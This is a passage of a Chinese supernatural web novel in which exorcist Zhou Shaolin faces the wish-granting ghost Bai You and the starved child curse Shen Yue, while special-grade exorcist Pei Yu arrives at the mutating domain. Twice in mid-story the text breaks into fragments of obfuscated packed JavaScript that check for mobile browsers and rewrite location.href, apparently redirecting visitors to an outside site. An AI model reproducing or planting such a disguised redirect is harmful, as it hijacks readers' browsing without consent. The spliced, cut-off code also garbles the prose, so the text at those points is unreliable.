白幽眉头一蹙,挥手散去白光,断开了记忆通感。 “呜哇……”女孩捂着头摇摇晃晃地往后退了两步,“搞什么,刀捅脑壳这么疼……!” 记忆碎片被断开了,贯穿颅骨的剧痛传遍全身,周少麟的视野都黑了好几秒才恢复过来。他勉强抬起头,看向对面的女孩。 最后一点记忆碎片化作光羽,从白幽的手心散去。 “原来是这样……” 白幽似乎也在消化刚刚的记忆,若有所思:“……原来沈天合后来又想找我许愿了呀,我当时大概是在睡觉吧。” 她顿了顿:“他最后已经疯掉了,是不是?” “大概早就疯了。”周少麟说。 “嗯。”白幽点头,“不是疯了,也做不出这种蠢事。” 实现愿望,支付代价,前提都是白幽应予。否则,因果的契约根本不会成立。 沈天合也许并不是不知道这点,他只是太过绝望而迫切,于是选择了最极端的方式来表达自己支付代价的诚意。 当初他不愿接受因自己的愿望导致死人,于是封印了白幽,拒绝代价。 后来他为了让白幽实现自己的愿望,又亲手杀死了四个人,献上代价。 ——但他错了,从一开始。 因为这四条人命,根本不是代价。 “……” 周少麟目光低沉:“……第二个愿望的代价,到底是什么?” “代价与愿望是对等的。”白幽说,“得到东西的是许愿者,失去东西的一定也是许愿者。只是因为社会关系本身就是人类所有物里重要的一部分,所以代价才会影响到周围人。” “一般来说,在愿望的代价波及他人的时候,往往都是因为这个人对许愿者有重要意义,比如家人、朋友、爱人。像仇人这种死了只会拍手称快的东西,是不可能用来‘失去’的。” 白幽将左右手的食指交叠,比了个叉: “——所以,沈天合付出的代价根本不是那四个讨债人的命,而是‘平静的生活’啊。” “他的财富从血腥与死亡开始。所以,只要他还想获得那些足够偿还债务、走向奢靡的金钱,他就永远不可能逃出背后的阴影。” “也许有人能很轻松地行走在黑白之间吧?很可惜,沈天合并不是。” “他承受不住这些染血的财富和残暴的权势,又不能放开它们。他劫掠,却不够狠心。他恐惧,却不能逃避。” “终于有一天,他再也承受不住这份欲望,于是,一切都崩溃啦。” * 夜风无声地吹动长发与裙摆,女孩垂下目光,遍地的残骸都映在那双幽蓝的、没有光泽的眼睛里。 就像是五年前的暴雨夜,她站在漆黑的牢笼里,看着那个跪在地上痛哭的男人。 “唉,我还想出来之后看看他过得怎样呢,竟然就这么死掉了。” 白幽轻轻叹了口气:“人类,真是比我想的还要更愚蠢、更脆弱……” “更疯狂啊。” 19.白幽灵(7) 沈天合所遇到的、为数不多的选择,每一个都做错了。 在公寓里,他不应该杀人。 在废楼区,他不应该封印。 在初见时,他不应该许愿。 一个普通的、软弱的男人,承担了自己无法背负的因果,结局唯有毁灭而已。 风起云动,满树的绿叶簌簌作响。银白的月光照在素白的女孩身上,更衬得她不像是尘世的存在。 不死不灭的诅咒,颠覆因果的幽灵,所有悲剧的根源。 一切因她而始,却又与她无关。 “记忆碎片是无法伪造的,现在你该相信了吧?”白幽说,“我的天赋能力就是改变因果,实现愿望。” “——平静的生活换取无尽的财富,这本是非常公平的交易。如果谁得到了却没能把握住它,那只能怪自己吧?” 女孩遥遥向周少麟伸出手:“但你不会的,对么?” 细碎的银光在指尖若隐若现,微光之后,那双幽蓝的眼瞳深邃如渊。 “像你这种人,如果有什么愿望想要实现,绝对会……不惜一切代价!” “——铮!” 龙雀铿然刺入地面,清越的刀鸣响起。 周少麟拄着刀柄,冷冷地说:“如果你还想好好谈,就不要再对我用惑术,白幽。” “哎呀。”微光散去,白幽轻轻笑了笑,“开个玩笑而已,这么紧张干嘛呀?” 周少麟面无表情:“诱惑别人向你许愿,这也是你的天赋能力?” “哪有那么厉害。”白幽歪了歪头,长发垂在肩上,“要那个人自己有真心想实现的愿望才行,我最多是让他们说出来而已。” “不过……两次了,你一点反应也没有。看来你真的没什么迫切的心愿啊?” “奇怪吗?”周少麟语气稍冷,“难道你觉得所有人都有愿望求着你实现?” “倒也没觉得是所有。”白幽微微抬起脸,“不过,十之八九吧?普通人也有,除魔师也有哦。” 冰凉的月光横亘在两人之间,空气似乎都寒了几分。 一问一答都带刺。 静默的对视中,还是白幽先噗的笑了出声:“好啦!我又不是在挑衅你,实话实说而已嘛!” “我知道,你是除魔师,你不信任我,这很正常,所以我在努力地表达诚意呀。记忆碎片我不都和你一起看了吗?” “你也看到啦,实现愿望本身又不是坏事,付出的代价也是对等的,多少人死了都想要这个机会,你为什么要拒绝呢?” 白幽背着手,轻盈地飘到空中:“如果是因为你还有什么想知道的,那就问吧。我们的时间可不多了。” 笼罩着整个庭院的结界微不可见地颤了一下,漾开水波般的纹路。 “……” 沉默片刻,周少麟开口:“你刚刚给我看的记忆,是全部吗?” “活着时的全部。” “成为诅咒之后的呢。” 白幽撇撇嘴:“那些你不都在域里看到了吗?” “但无论域还是记忆,都没有回答一个问题。”周少麟冷冷地看着女孩,熔金的瞳孔在夜色中亮如明火。 “——白幽,沈月呢?” * 讨债人因愿望而死,舒涵被沈天合所杀,沈天合自杀。所有人都有确定的结局。 但沈月呢? 现实中铺天盖地的报道里没有她,沈天合最后的杀戮记忆里没有她,域里的无法确认是她。 ——沈天合杀妻杀邻自杀,那沈月去哪里了? 婆娑的树影在两人之间割下泾渭分明的界限,周少麟沉默地看着白幽,脸色苍白,神情冷峻。 腹部的伤口不再流血,侵蚀器官的毒素基本得到抑制,他的身体在短短十几分钟里自愈到了不可思议的程度。 周少麟现在的战斗状态远比初见时好,精神却比之前更紧绷如弓。 他在等她回答,即使心中已经有答案。 长长的睫羽在女孩脸上落下一片月牙般的阴影,阴影里仿佛藏着无数隐晦的秘密。 “……” 她无声地扬了扬唇角:“你可真会问。” 话音轻飘地落下,一声巨响从穹顶传来! “哎呀。”白幽仰起脸,“来这么快。” 结界隔绝了外部的气息与视野,尽管看不见,但毫无疑问有什么东西正在攻击它。 空气荡开扭曲的纹路,临时构建的结界无法承受这样恐怖的力量,细碎的裂痕从表面蔓延开来。 幽暗的月光下,白幽的眼睛沉静得仿佛嵌进去的琉璃。 “除魔师,还记得我在梦里给你的提醒吗?”她一字一句地重复,“睁开眼看到的东西,会杀你。” “……你看到的,不是有两个么?” 诅咒的攻击依然在继续,结界碎裂的声音清晰可闻。女孩看着崩裂的天幕,仿佛孩子在欣赏满天繁星。 “除魔师,考考你。” “如果说这个域是沈天合的祭坛,目的是复活舒涵,那么讨债人就是最初的祭品,房客是最后的祭品,你们是侵入者兼候选祭品,我是司仪。” “那沈月是什么呢?她在这个域里扮演什么角色?” 白幽咯咯笑起来:“什么都不是哦。” “——她是域里的另一个诅咒啊!” * 三年前,梅花公寓。 舒涵站在地下室入口,手按在小女孩的肩膀上,柔声道:“月月,妈妈爸爸一会儿要谈些事,你可以先待在这里吗?” 看到女儿小脸上的犹豫和畏缩,她又赶紧补充:“妈妈保证,很快的!最多一个小时,妈妈就下来接你。然后再给你做布丁吃,好不好?” “……”沈月抱着星星灯,怯生生地看着母亲,“妈妈……要和爸爸吵架吗?” 舒涵愣了愣,苦笑着摇摇头:“不吵架。妈妈只是想和爸爸好好谈一谈。” “之前我们总那样,是不是吓到你了……”舒涵半蹲下身,摸了摸小女孩的头,声音很轻,“对不起。” “……其实,妈妈现在也很迷茫,不知道该怎么办了。妈妈只希望这个选择能对你更好。” 她伸出双臂,将沈月搂进怀里,努力抑制住语气中的颤抖:“月月乖,就……待一会儿。妈妈很快就来接你,好吗?” 温暖而柔软的拥抱,甚至比平常抱得更紧,好像拥抱者也要从中获取支撑自己的力量。 小小的女孩靠在母亲怀里,眨了下眼睛,随后也张开两只小手,用力地搂住她。 沈月懂事地点点头:“嗯!” 她像从前一样,提着星星灯,走下台阶。 舒涵扶着地盖,静静地看着沈月走入地下室。她知道女儿怕黑,所以先打开了灯。她要等她下去后再关上门,然后回到梅花公寓,独自面对一场准备已久的离婚。 舒涵不知道这是不是对的,带着女儿离开已经深陷泥沼的丈夫,是否真的能给她更健康的成长环境。 她只是不希望等沈月长大后,意识到父亲的所作所为,再审视自己的生活时,也如她一般内心饱受煎熬。 在穷困潦倒时,她们曾为了避债躲进地下室。现在生活宽裕了,却还是要在这里,躲避另一面的黑暗。 ……她好像,从来没有给过女儿正常的童年生活。 视野不自觉地氤氲起水汽,模糊了眼前小小的身影。 “妈妈!” 清脆的呼唤在前方响起,舒涵赶忙擦了擦眼角,看向女儿。 八岁的沈月站在阶梯上,扬起一个灿烂的笑容:“我等你哦!” * 咚、咚。 咚咚、咚咚咚…… 心跳声诡异、机械、清晰。像是有一头庞大可怖的乌贼正在结界上辗转蠕动,缠绕着血管的心脏有节奏地跳动着,黏腻的肢体湿漉漉地滑过,发出含混悚人的水声。 “妈……妈……爸……爸……开……门……啊……” 一张模糊的人脸从结界的表面向内浮出,像是蒙着层白色的塑料薄膜。 人脸的轮廓越来越清晰,终于支撑到极限的结界裂成无数块碎片,从穹顶坠落! 周少麟拎起倒在地上的赵嘉言,从人脸降落的中心地迅速后退! “——啪。” 极轻微的声响。 一个漆黑的影子穿过结界的裂隙,落在了地上。 矮小、瘦弱,没有脚,踩着翻涌的、粘稠的波浪,摇摇晃晃的。 她从天而降,又像是一直生长在地上。满地都是她行走时拖曳出的漆黑痕迹,比鲜血更触目惊心。 在地下室里出现时,沈月还是生前的人形。但此时此刻的她就像是用黑泥捏出来的人俑,面目模糊,姿容诡异。 “爸爸。”人俑缓缓爬行着,身躯中一会儿是沙哑的喊声,一会儿是尖细的笑音。 “妈……妈……” 明明已经不在漆黑无光的地下室里,她却好像把那里的黑暗也带出来了。那是郁积了三年的黑暗,一盏灯无法点亮。 周少麟怔怔地看着这个漆黑的人俑,整个人都像是被定在了原地。 猜测得到验证,他知道自己应该动手了,可握刀的手却无比沉重。 三年前,舒涵在梅花公寓向沈天合提出了离婚。 她有许多事情需要向他对质,这些不能被沈月听到。两家早已与亲戚断绝往来,她没有人可以托付,于是再次把女儿带到了地下室,想等到谈话结束再把她接出来。 ……舒涵没想过自己会死在丈夫手中。 梅花公寓的惨案骇人听闻,无数人蜂拥而至,试图从现场的蛛丝马迹中找到这一切的起因。人来人往,却没有谁留意到那个偏僻车库的地盖。 一个可以阻断呼救声的地盖,一个孩子推不开的地盖。 没有任何人找到她,沈月一直都留在那个地下室。 ——她活生生饿死在了里面! * 沈天合的执念率先形成了诅咒,控制了整个梅花公寓,沈月的诅咒无法与之相争。 她一直缩在自己死去的地下室中,等待着时机到来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256229|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 时隔三年后,终于有人在域中打开地盖。赵嘉言闯了进来。 诅咒杀人是很容易的,比杀死更困难的是同化。用自己的执念去影响生者,直到将他吞噬为自己的一部分,那才是真正的【进食】。 但沈月并不是想进食,所以赵嘉言还能活着。 “咕叽,咕叽。” 漆黑的人俑在地上蠕动着爬行,发出淅淅沥沥的水声。在路过周少麟的时候,忽然停住了。 名为沈月的诅咒缓缓顿住身形,像是在打量他。片刻后,那张沥青般的脸上裂开一个大大的缝隙:“我记得你……好心的,哥哥。” “谢谢你,给我灯。但我已经,不怕了。” 人俑又开始窸窸窣窣地向前流动,脸上的裂缝高高地向上翘起:“因为,现在,我的愿望,要实现啦……” 诅咒因执念而存在,因愿望而行动。 沈月在三天里潜移默化地影响和控制了赵嘉言,强化他的执念,让他执着于打开黑匣子,目的只有一个。 “白……幽灵……姐姐。” 漆黑的人俑站在白幽面前,轻声喃喃:“我要,许愿……” “我想,和妈妈爸爸,在一起。” “我们一家人,永远在一起……” 在寂静的庭院里,女孩幼嫩的声音像是从身躯深处传来,清晰得令人毛骨悚然。 整个世界都回荡着她的话语,一遍又一遍。 一家人,在一起。 在一起、在一起、在一起…… 沈月像是无法抑制住自己的喜悦了,属于眼睛的窟窿里生长出大簇大簇的黑色花朵,脚下的漆黑波浪向上翻滚着,仿佛要把这个塑造得摇摇欲坠的人形也彻底吞没。 白幽一如既往地悬在半空中,安静地凝视着这个幼小的诅咒。 片刻后,她叹息般说道: “虽然很感谢你把我放了出来,但是抱歉,我做不到哦,月月。” 女孩摊开手:“因为你已经死啦。你是诅咒,而我只能实现人类的愿望。” 眼眶中的花朵停止生长,人俑僵在了原地。 “诅咒以进食为本能,但这三年来,你始终压抑着自己不以人为食,只是等待着人类进入域,影响和控制他们。” “因为你是个聪明的孩子,你知道只有人类才能打开黑匣子,放出我。只有我出来了,才能实现你的愿望。” 白幽垂下目光:“但其实我不能,谁都不能。” 人俑剧烈地颤抖起来,连努力捏出的模糊五官都开始扭曲。粘稠的、漆黑的鲜血从她的每一寸皮肤缓缓流下,像是血腥的瀑布。 脚下的波浪无声地向四周蔓延开去,地板震动起来。沈月的诅咒要维持不住人形了。 “白幽!”周少麟神色一凛,“别刺激她!” 但女孩像是没有听到,她用那种平静得令人齿冷的声音继续道:“真辛苦啊,月月。忍了那么久,可无论我还是其他人,对你都一点用也没有哦。” 在扭曲的人形彻底化成黑水之前,白幽轻笑着拍了拍手: “所以,想杀就杀吧——诅咒就是要遵循自己的欲望啊!” * “喀!!!” 一只漆黑的人手从黑水中伸出,直接刺穿了白幽的心口! 快极狠极的一击,带着刻骨的怨毒。浓腥的血泉瞬间从女孩身后喷涌出来,她像只被贯穿在荆棘上的白鸟。 沈月爆发出一声嘶哑痛苦的尖叫,黑水如同一朵裂开的花,渗透进目光可及的每个角落。 秋千、树木、大门、围墙,所有的东西都剧烈地颤动起来,由内而外地崩坏、扭曲,生涩地咔咔作响,最后反扭成怪异的条状,你拥我挤地向四面八方穿刺而去! ——这已经不只是来自诅咒本体的攻击了,整个诅咒域都在扭曲! “爸……爸……”沙哑的、稚嫩的童声在空荡的庭院盘旋,“爸、爸。” 黑水已经几乎覆盖了整个庭院,如有生命般鼓胀、收缩,发出一阵令人毛骨悚然的沙沙声。 ……像是在咀嚼什么。 周少麟的眼角微微抽动,他几起几落避开刺击,一刀捅进了黑水覆盖的地面! 迅雷般的一刀像是刺进了棉花里,黑水软软地凹陷下去,浮现出一张稚嫩的脸。 沈月的脸笑着咧开嘴,露出满口漆黑的、细密的尖牙: “嘻嘻。” 周少麟心下骤冷。 ……吞噬。 ——沈月的诅咒在吞噬沈天合的残骸! 千百倍的压迫感山岳般扑面而来,寒气从握刀的指尖向上蔓延,赤红的银晶以恐怖的速度被浸染成黑色,剧烈的颤动后,猛地碎裂开! ——红色二级,黑色一级,银晶的检测上限就是一级。 被贯穿的白幽正在一点点化作光羽消散,但她饶有兴致地看着周少麟,幽蓝的瞳孔莹莹发亮,仿佛最期待的戏剧即将上演。 “除魔师,既然你想不到愿望,不如我给你推荐一个吧?” 她微笑:“活着离开这里。” 20.红房子(12) 异常事务管理局,技术部,执勤室。 凌晨五点四十五,技术员李勤正在嗑瓜子保持精神。 今天他值班,主要负责监测天海市已标记的十三处异常地带,以及为执行队提供信息支持。 一夜将尽,大部分任务都结束了,屏幕上显示的几个零星绿点状态也很稳定。 异常标记点是发生过特殊事故,可能存在诅咒域的地方。 一般来说会被列入待处理名单,按社会威胁性顺序派执行队清理,不过目前标记的这些都没什么特别表现。 不出意外的话,今晚的工作基本是完成了。李勤放松摸鱼,一边剥着瓜子,一手还在刷短视频,时不时抬头看一眼屏幕。 突然,他剥瓜子的动作停了,目光锁在了屏幕上。一个陡然出现的黑色光点正在不断闪烁膨胀,象征灵力波动的涟漪一圈圈扩散开。 ……黑色? 李勤扔掉瓜子,飞快地切到现场监控页面,屏幕一片漆黑,观测之眼已经碎掉了。 他腾的站起身来,接通了公共广播。 尖锐的鸣笛声刺破了寂静的清晨,走廊的红色警戒高频率闪烁起来,机械女声响彻各个工作间。 “警报!警报!黑色高危警报!” “——安乐区护林路红梅小区标记地带,一级诅咒域畸变!” * 执行部,广播的警报还在放。徐成蹊拉开门往外走,迎面就撞上了正准备敲门的陶桃。 清秀的短发女人立刻敬礼:“徐队!” 徐成蹊开门见山:“一级队有没有回来的?” “三支一级队和两支二级队都在外执行任务,最快的预计今早十点返回。目前局里有一支二级队按例留守,其中三个二级两个三级,随时可以出发!” 陶桃顿了顿:“但是,一级除魔师只有您。” “……” 徐成蹊的神色暗了暗。 为了保证成功率和生存率,管理局一直以同级除魔师解决同级诅咒为任务准则。即使如此,依然时常出现伤亡。 而畸变域的危险指数远高于寻常,一个同级除魔师只是杯水车薪。 数秒的沉思后,他抬起头:“由我领队,留守二级队跟我行动。十分钟后出发。” “二级队进一级域?”陶桃睁大了眼睛。 “黑色高危警报,必须有人处理。”徐成蹊语气冷肃,“管理局有管理局的职责,我们不是能挑选任务的自由除魔师。” “……” 陶桃垂下眼帘。 她知道自己不能说什么了。徐成蹊队长的风格一直是这样,斩妖除魔,身先士卒。 诅咒的数量远远多于除魔师,管理局常年处于超负荷状态。每次突发□□故,都可能因为人手不足出现重大伤亡,但这也是他们任务的一部分。 ……除魔师的五年死亡率是27%,谁都可能成为这四分之一。 陶桃颔首,转身准备通知调度。 走出两步,女孩忽然又回过身来,欣喜道:“等等,裴特级两天前出外市支援一级任务了,按时间应该是今晚返回!” “裴特级?”徐成蹊眼神一亮,“今晚什么时候?” “预计应该是今晚凌晨三点落地,但已经超过了,原因暂时未知。”陶桃略带歉意地鞠躬,“裴特级不爱汇报行程,我们也不好催促。” “不过没关系,我马上联系他!”陶桃拿出手机,运指如飞,眨眼间已经编辑好了一条规整的紧急通知发出去,随后开始拨电话。 等待接通的间隙里,她恳切地看向徐成蹊:“徐队,如果裴特级能回来的话,是不是可以再等等。二级队进一级域的风险实在是……” 徐成蹊没有说话,盯着陶桃的手机。 自动铃声在耳畔反复响起,许久没有人接听。 陶桃有些冒汗了,挂断通话后又拨了一次。 还是无人接听。 数小时联系不上特级除魔师其实是很正常的。除魔师数量已经很少,特级更是凤毛麟角,不是在诅咒域就是在进诅咒域的路上,任务结束后往往挂机。 但现在,陶桃很希望能联系上。 她不甘心地再打了个电话过去,这次在漫长的忙音后接通了一秒,就迅速被挂断了。 “……” 投屏上的黑色光点正在迅速膨胀,已经覆盖了将近方圆十里的范围。诅咒域畸变的速度是不稳定的,他们最慢也得在半小时内采取行动。 红梅小区早已废弃,但附近有两个居民区。如果一级诅咒域发生畸变,进入现实空间,将周围的平民卷入其中,那造成的伤亡将是数以百千计的。 “没时间了。通知留守二级队,立刻出发。”徐成蹊说,“我是领队,对结果全权负责。” “……”陶桃低下头,“我会持续联系其他支援。” 她走到身份验证处旁,还没刷通行卡,大门却无声无息地打开了。 一道裹在黑风衣里的高挑人影跨入了大厅。 那是个英俊而挺拔的青年,面容冷白,眉眼沉黑,五官清晰如刀削斧凿,几乎没有任何缓冲的线条。他生得锐利,气息却是懒散随意的。 “都到门口了,还打什么电话。” 青年将手机揣进口袋里,轻描淡写道:“特级除魔师,裴誉,报到。” * 除魔师分一到五级,由资格考评决定,自上而下,泾渭分明。 但在这个体系中,特级是与众不同的。一级除魔师做再多任务也无法向上晋升,只有杀死过特级诅咒,才能获得这个破格评定。 他们凌驾于所有等级之上,间隔着天堑般的实力差距。 在席卷整个通灵世界的“黑蛇之乱”后,传承断代,人才凋零,高阶除魔师人数锐减。现在全国的现役特级不超过三十个,每一人的经历都是足以载入管理局历史的传奇。 而即使在他们之中,裴誉也显得特殊。因为他是现役最年轻的特级,半年前以杀死特级诅咒“黑狱”晋升,年仅25岁。 与强大实力相对的是他极端的作风。在晋升后不久,裴誉就因暴力执行任务、违反【沉默纲纪】受到降职处分,被管理局总部调至天海市,担任特派干员。 特级的事务太过繁多,就算挂名在天海市管理局,裴誉七成时间也在出外勤,哪怕秘书陶桃也不是经常能联系上他。 但即使如此,他依然是横亘在这座城市的诅咒与人类之间,最坚固的防线。 熹微的晨光透过大厅的落地玻璃窗,照在了裴誉身上。 他半身都是血,红得狰狞,浸透了黑色的风衣,沿着衣摆处滴答落下。 陶桃目光微颤:“您受伤了?” “没有。”裴誉随意道,“刚刚在路上遇到一个二级诅咒,杀了。” 年轻的特级脱下染血的风衣,扔在桌子上:“消息我看到了,挺紧急的。现在就出发吧。” “是!”徐成蹊肃立,“我马上通知——” “让巡守队撤回去,二级队进畸变一级域就是送死。”裴誉打断了他,“三个人就够了。陶桃去开车。” 徐成蹊愣了愣:“那分工是?” “你协助,陶桃后勤。”裴誉语气淡然,“我解决那个一级。” * 红梅小区。 狂风呼啸,飞沙走石。噼啪闪烁的街灯一盏一盏渐次碎裂,满地都是晶莹的玻璃碴子。朝阳就在不远处缓缓升起,这片天空下却比夜晚更阴沉。 这是诅咒域畸变前的异象,即使一无所知的普通人站在这里,也会本能地感到战栗和不安。 在红梅公寓上方,空气异常地扭曲成了漩涡的形状,黑色的雾气从漩涡中心溢散出来,眼前这栋斑驳的老建筑就像是坏掉的电视机屏幕一样,时明时暗,似真似幻。 ——诅咒域正在侵入现实。 域是从诅咒的欲望中诞生、独立于现实的平行空间,本身很少造成大范围影响,但如果发生畸变,就会与真实世界重叠并卷入周围的一切,导致惊人的伤亡。 “红梅小区是在两天前标记的,起因是一个灵异主播突然消失在了这里。技术员来检测的时候,这里的咒力气息还非常微弱,甚至无法确定有诅咒域存在。就算有,攻击性和扩张性应该也非常微弱……” 这样的诅咒域会在短短三天内发生畸变,只可能是因为受到了外来者的刺激。 如果是因为处理不慎尚可接受,如果是有人故意为之…… 徐成蹊面色沉沉,看着空中的黑色漩涡:“……不过,现在情况还没那么棘手。畸变目前只影响了核心区域,速度比预想的慢很多。” 他单膝跪下,并指在地上平平一划,不可见的黑色帷幕在半空中缓缓降下,如同一个巨大的帐,把他们笼罩其中,将红梅公寓与周边隔绝开来。 【隐匿法术·黑帐】 沉默纲纪第十一条,除魔师工作期间对外禁绝。 “现在畸变诅咒域还是半侵入的状态,不用进域就可以直接摧毁了。”徐成蹊点头,“请动手吧,裴特级!” 域是诅咒的领地,如果等到侵入完成后再进入畸变域,危险程度会高得可怕。 现在的域半投影于现实,可以直接在外部将其破坏,局面一下子就变得轻松许多。 但裴誉却没有动。年轻的特级目不转睛地凝视着尚未成型的黑色漩涡,眉头紧锁,似乎从里面看到了更多东西。 “陶桃,灵力检测。”他断然道,“里面有人在战斗。” 难道是诱发畸变的人?徐成蹊略感震惊:“引发畸变后没有撤离手段吗?” “不像是故意诱发的。”裴誉说,“诅咒域的畸变异常缓慢,因为有人在与之战斗,延缓了它的扩张速度!” 他转过头:“陶桃,检测结果?” ——他要确认域内的状况。直接从外部破坏诅咒域固然最稳妥,但里面的人也很可能跟着一起死! 十秒应该已经足够初步判断外来者的情况了。但陶桃捧着探测灵力的罗盘,神情有些滞愣。 “……没有。” 她看着罗盘上一动不动的指针,冷汗从额角滑落。 “裴特级,域里……没有其他灵力。” 空气扭曲得像是要滴落融化,隐约传来嘶哑的吼叫。黑色的漩涡在缓慢凝聚,却始终没有进一步扩散。 毫无疑问,有人正在域里阻止畸变。 可不用灵力却能和诅咒战斗的……又是什么东西? * 火光与电光飞射,狂风与碎石四溅,天塌地陷,树倒石裂。 整个诅咒域都陷入了彻底的疯狂。运动器械、秋千乃至路灯都被连根拔起,悬浮在空中,被扭曲成星星和月亮的形状。 树木花草无视引力地向上生长,身上不断地冒出一个个拳头大小的人头,都长着画书里王子公主的脸,人脸的嘴张张合合,有的在说“你好”,有的在说“晚安”。 龟裂的大地中长出一团团奇形怪状的动物,像猫又像狗,或者烂掉的茄子和黄瓜。 它们发出古怪的尖笑满地乱跑:“嘻嘻!嘻嘻!”跑着跑着又忽然萎靡掉,留下腐蚀性的液体。 这不是任何现实中会出现的画面,癫狂得像一个无序的童话。 在这个怪诞的世界里,一个身影正在以难以想象的高速穿梭在楼群之间,地面和墙壁震动着拔出无数根缠绕着黑水的地刺,蛇群般紧紧咬在他身后! “哥、哥。”稚嫩的童声在空荡的楼群中回响,“来……玩……嘛。” 前面是一堵墙,周少麟一脚踏在墙上借力后翻,凌空拔刀,锋利无匹的刀光一闪而逝,所有地刺被齐齐斩断! 龙雀的火焰与黑水悍然交接,嘶的冒出一阵白烟,黑水吃痛般钻入地底。 长得像是坏掉的小怪物发出叽叽的声音,争先恐后地扑过来爆炸,还没靠近就被切成两半。 周少麟落地,横刀身前,微微喘息。 肺部传来一阵阵灼痛,长时间的战斗后,尚未痊愈的伤口开始影响到他了。 沈月所化的黑水可以将某个范围的存在扭曲、破坏、操纵,唯有斩到黑水才算造成有效攻击。在域里与她战斗,所有东西都可能成为致死的武器,而本体的黑水却诡秘莫测、变化无形。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277841|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……对他相当不利的能力。 “来玩嘛。来玩嘛。来玩嘛。” 清脆的童声还在不知疲倦地呼喊,地上冒出一张张诡异的笑脸:“去,野,餐,啦。” 白色的烟雾升起,凝聚成一个萎缩的人形,顶着硕大的人头。 鲜红的眼睛,模糊的五官,大嘴裂开,发出温厚的笑声。 ——被吞噬的、沈天合的残骸。 熔金的眼瞳含着冷光,周少麟压低了身子,赤红的火焰在刀上流淌。 双方同时蹬地,两个身影在高速下霎时消失不见,本已千疮百孔的楼顶轰然碎裂! 一人一鬼的身影在顷刻之间换位移动,龙雀的刀光稠密得像是弩箭齐发,而“沈天合”的每一击都伴随着从各个刁钻方向袭来的钢筋铁骨。每一次相撞都爆发出震耳欲聋的轰鸣声,他们在偌大的楼群间相互追逐,快得甚至留下了滞空的残影! 诅咒以异形之身肆虐,人类本应用术法相抗。但在这场战斗里,这些统统不存在。 只有究极的反应,究极的速度,究极的力量,完全超出人类的阈限。 如果赵嘉言醒来看到这一幕,大概会原地裂开。此时他不会再震惊于为什么周少麟能避开子弹,只会震惊于自己竟然觉得一发子弹能解决这样的人。 不,用人来形容他都有失偏颇了,人类绝不可能在失血重伤的情况下进行这种程度的战斗。 能做到的……还算是人吗? 大地震动,墙壁龟裂,片片碎石下坠,尘埃弥漫。挂着人头的花草树木发出怪叫,残缺的小怪物们满地逃窜。 诅咒域正在畸变,同时又在崩塌。 在这末日般的景象中,只有一个人还能笑出来。 “精彩呀精彩!”白幽坐在半空的秋千上,兴奋地鼓掌,“比武打片还好看啊!” 没人有余裕理她。高速交战的双方即将分出胜负,周少麟很明显地落入了下风。 以纯粹的血肉之躯对抗诅咒本就是不可能的事情,何况这是在域里,所有存在都可能杀死他。 激烈的攻势已经将他逼入了一个狭窄的房间,狰狞的钢筋与地刺从四面八方团团钻来,织成了象征死亡的囚笼。 沈天合脸上的嘴越裂越大,肢体以一个诡异的角度扭曲伸长,直刺向他的心脏! ——正是这一击的空当,龙雀闪电般向上掠起,周少麟一刀自下而上将沈天合劈成了两半! “哗!” 生腥的血液从那具惨白的身体中喷溅出来,如同涌泉般泼满整个视野。但在闪逝的瞬间,周少麟依然看到了他预想的东西。 蜷缩在萎缩的腹腔中的、漆黑的、缓缓蠕动的。 ——沈月! 孩童般的诅咒,吞噬了自己的父亲,又藏回父亲的身体里。 电光石火的一瞬,枝杈横生的异形武器从地表生长出来,挟裹着呼啸的风声,破空刺向他! 周少麟不闪不避,一刀按既定的轨迹斩出,笔直地挥向那个蠕动的黑影! ——龙雀后发先至,快得近乎成了残影,但熟悉的触感却并未传来。 长刀再度将沈天合已死的残骸拦腰斩断,而诅咒沈月凭空消失了! 晶莹的白色光点在空中飘散开,像是飞起的萤火虫。 “哎呀。” 白幽居高临下地悬在空中,笑容盈盈:“打得好辛苦,中场休息一下嘛?” 下一刻,黑水所操纵的钢筋虬结成螺旋,穿透了周少麟的右胸。 * “喀——!” 鲜血飚射出来,拔地而出的铁筋仿佛生锈的巨龙,在腥红的刺激下不断扭曲生长,直到将周少麟彻底钉死在墙上! 诅咒沈月不知何时被转移到了一旁的沙发上,漆黑的身躯咕噜咕噜地往外冒着泡泡,发出窸窸窣窣的笑声,好像被逗乐了。 十几只手臂从黑水中伸出来,像是丛生的荆棘,再次捅向被钉在墙上的人! 一个人的地下室实在是太寂寞了,她要让这个好心的哥哥留下来永远陪她。 手臂如群蛇狂舞,却在触及的前一刻被猝然被定在了在空中。 白幽打了个清脆的响指:“大人要说话啦,小孩子一边玩儿去。” 无形的结界从她身边扩张开来,幽蓝的雷电与火光游走在边缘表面,直接将沈月的黑水推到了十几米开外! 一级诅咒的力量已经足以碾碎领域内的成百上千人,白幽阻止沈月却轻松得像在游戏。 一片狼藉的客厅里,又只留下了两个人。 白幽站在周少麟正前方,微微仰起头,就像是漫步博物馆时,在一尊雕像前驻足。 螺旋状的钢筋贯穿右胸数尺之深,将周少麟和墙面死死地焊在了一起,仿佛一截从身体里刺出来的骨头。 鲜血涌出,沿着钢筋表面缓缓下滴。 周少麟用最后的力气反手把刀插进墙壁里,减轻因重力下坠而进一步撕裂创口。 他喘息着,抬起颤抖的手,从前方握住这根浸透了自己血的钢筋。 ……深呼吸,闭眼,发力。 仅存的鲜血从前胸喷涌出来,在极高的血压下飞空而去,泼墨般溅了满地。 